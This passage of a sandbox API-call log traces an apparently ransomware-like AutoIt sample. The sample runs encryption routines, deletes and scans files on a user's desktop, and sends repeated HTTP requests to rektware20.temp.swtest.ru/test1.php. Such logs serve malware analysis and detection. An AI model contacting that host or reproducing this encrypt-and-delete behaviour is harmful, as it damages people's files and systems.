wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.440] WriteFile (in: hFile=0x3c8, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0x2cd0, lpOverlapped=0x0) returned 1 [0078.441] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.441] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.441] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0078.441] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.441] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.441] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0078.441] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621300, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0078.441] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0078.441] CryptDestroyKey (hKey=0x164ca30) returned 1 [0078.441] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.442] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.442] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.442] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.450] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.450] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.450] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.450] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.450] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.450] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0078.451] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.451] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.451] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.451] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.451] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.451] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.451] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.451] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.451] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.451] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.451] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.451] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.451] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.451] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.452] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.452] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.452] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.452] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.452] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0078.452] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0078.452] CryptReleaseContext (hProv=0x16323a8, dwFlags=0x0) returned 1 [0078.452] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.452] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.452] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.452] FreeLibrary (hLibModule=0x74c60000) returned 1 [0078.452] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.452] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.452] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.452] CloseHandle (hObject=0x3d8) returned 1 [0078.452] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.453] CloseHandle (hObject=0x3c8) returned 1 [0078.457] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.458] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.458] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf", lpFilePart=0x0) returned 0x28 [0078.458] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\webr2t.swf")) returned 0x20 [0078.458] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0078.458] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\webr2t.swf")) returned 1 [0078.475] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0078.475] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0078.475] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.476] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.476] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.476] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.476] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0078.476] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0078.476] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.476] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0078.476] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.476] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0078.476] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0078.476] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f10, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f10, lpdwBufferLength=0x130ef8c) returned 1 [0078.476] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.476] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.476] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.477] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0078.477] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0078.477] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0078.477] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0078.477] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291d0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0078.477] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.477] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.477] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.477] CloseHandle (hObject=0x0) returned 0 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WNYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NYfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yfl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fl7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xOMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OMaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MaLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aLFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LFG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FG.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0078.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.479] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.479] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0078.479] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.479] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0078.479] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0078.479] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.479] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0078.479] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0078.479] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e68, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e68, lpdwBufferLength=0x130ee1c) returned 1 [0078.479] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.479] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.479] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.479] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0078.479] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0078.479] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0078.479] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0078.480] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0078.480] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.480] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.480] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.480] CloseHandle (hObject=0x0) returned 0 [0078.480] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.480] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cab0 [0078.480] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0078.480] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.480] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.480] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.480] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.480] 